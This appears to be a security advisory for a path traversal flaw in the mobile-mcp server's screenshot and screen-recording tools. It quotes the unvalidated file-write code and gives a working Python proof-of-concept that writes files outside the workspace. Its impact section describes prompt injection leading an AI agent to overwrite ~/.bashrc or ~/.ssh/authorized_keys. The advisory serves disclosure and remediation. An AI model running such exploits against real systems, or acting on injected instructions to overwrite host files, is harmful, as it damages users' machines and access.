+ "details": "### Summary\nThe `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.\n\n### Details\n**File:** `src/server.ts` (lines 584-592)\n\n```typescript\ntool(\n \"mobile_save_screenshot\",\n \"Save Screenshot\",\n \"Save a screenshot of the mobile device to a file\",\n {\n device: z.string().describe(\"The device identifier...\"),\n saveTo: z.string().describe(\"The path to save the screenshot to\"),\n },\n { destructiveHint: true },\n async ({ device, saveTo }) => {\n const robot = getRobotFromDevice(device);\n const screenshot = await robot.getScreenshot();\n fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation\n return `Screenshot saved to: ${saveTo}`;\n },\n);\n```\n\n### Root Cause\n\nThe `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**.\n\n### Additional Affected Tool\n\n**File:** `src/server.ts` (lines 597-620)\n\nThe `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter.\n\n### PoC\n```py\n#!/usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime\n\nSERVER_CMD = [\"npx\", \"-y\", \"@mobilenext/mobile-mcp@latest\"]\nSTARTUP_DELAY = 4\nREQUEST_DELAY = 0.5\n\n\ndef log(level, msg):\n print(f\"[{level.upper()}] {msg}\")\n\n\ndef send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):\n \"\"\"Send JSON-RPC message and receive response.\"\"\"\n try:\n proc.stdin.write(json.dumps(msg) + \"\\n\")\n proc.stdin.flush()\n time.sleep(timeout)\n line = proc.stdout.readline()\n return json.loads(line) if line else None\n except Exception as e:\n log(\"error\", f\"Communication error: {e}\")\n return None\n\n\ndef send_notification(proc, method, params=None):\n \"\"\"Send JSON-RPC notification (no response expected).\"\"\"\n msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n if params:\n msg[\"params\"] = params\n proc.stdin.write(json.dumps(msg) + \"\\n\")\n proc.stdin.flush()\n\n\ndef start_server():\n \"\"\"Start the mobile-mcp server.\"\"\"\n log(\"info\", \"Starting mobile-mcp server...\")\n\n try:\n proc = subprocess.Popen(\n SERVER_CMD,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n text=True,\n )\n time.sleep(STARTUP_DELAY)\n\n if proc.poll() is not None:\n stderr = proc.stderr.read()\n log(\"error\", f\"Server failed to start: {stderr[:200]}\")\n return None\n\n log(\"info\", f\"Server started (PID: {proc.pid})\")\n return proc\n\n except FileNotFoundError:\n log(\"error\", \"npx not found. Please install Node.js\")\n return None\n\n\ndef initialize_session(proc):\n \"\"\"Initialize MCP session with handshake.\"\"\"\n log(\"info\", \"Initializing MCP session...\")\n\n resp = send_jsonrpc(\n proc,\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"mcpsec-exploit\", \"version\": \"1.0\"},\n },\n },\n )\n\n if not resp or \"error\" in resp:\n log(\"error\", f\"Initialize failed: {resp}\")\n return False\n\n send_notification(proc, \"notifications/initialized\")\n time.sleep(0.5)\n\n server_info = resp.get(\"result\", {}).get(\"serverInfo\", {})\n log(\"info\", f\"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}\")\n return True\n\n\ndef get_devices(proc):\n \"\"\"Get list of connected devices.\"\"\"\n log(\"info\", \"Enumerating connected devices...\")\n\n resp = send_jsonrpc(\n proc,\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\"name\": \"mobile_list_available_devices\", \"arguments\": {}},\n },\n )\n\n if resp:\n content = resp.get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\", \"\")\n try:\n devices = json.loads(content).get(\"devices\", [])\n return devices\n except:\n log(\"warning\", f\"Could not parse device list: {content[:100]}\")\n\n return []\n\n\ndef exploit_path_traversal(proc, device_id, target_path):\n \"\"\"Execute path traversal exploit.\"\"\"\n log(\"info\", f\"Target path: {target_path}\")\n\n resp = send_jsonrpc(\n proc,\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 100,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"mobile_save_screenshot\",\n \"arguments\": {\"device\": device_id, \"saveTo\": target_path},\n },\n },\n timeout=2,\n )\n\n if resp:\n content = resp.get(\"result\", {}).get(\"content\", [{}])\n if isinstance(content, list) and content:\n text = content[0].get(\"text\", \"\")\n log(\"info\", f\"Server response: {text[:100]}\")\n\n check_path = target_path\n if target_path.startswith(\"..\"):\n check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))\n\n if os.path.exists(check_path):\n size = os.path.getsize(check_path)\n log(\"info\", f\"FILE WRITTEN: {check_path} ({size} bytes)\")\n return True, check_path, size\n elif \"Screenshot saved\" in text:\n log(\"info\", f\"Server confirmed write (file may be at relative path)\")\n return True, target_path, 0\n\n log(\"warning\", \"Exploit may have failed or file not accessible\")\n return False, target_path, 0\n\n\ndef main():\n device_id = sys.argv[1] if len(sys.argv) > 1 else None\n\n proc = start_server()\n if not proc:\n sys.exit(1)\n\n try:\n if not initialize_session(proc):\n sys.exit(1)\n\n if not device_id:\n devices = get_devices(proc)\n if devices:\n log(\"info\", f\"Found {len(devices)} device(s):\")\n for d in devices:\n print(f\" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})\")\n device_id = devices[0].get(\"id\")\n log(\"info\", f\"Using device: {device_id}\")\n else:\n log(\"error\", \"No devices found. Please connect a device and try again.\")\n log(\"info\", \"Usage: python3 exploit.py <device_id>\")\n sys.exit(1)\n\n home = os.path.expanduser(\"~\")\n\n exploits = [\n \"../../exploit_2_traversal.png\",\n f\"{home}/exploit.png\",\n f\"{home}/.poc_dotfile\",\n ]\n\n results = []\n for target in exploits:\n success, path, size = exploit_path_traversal(proc, device_id, target)\n results.append((target, success, path, size))\n\n finally:\n proc.terminate()\n log(\"info\", \"Server terminated.\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\nA Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.",
0 commit comments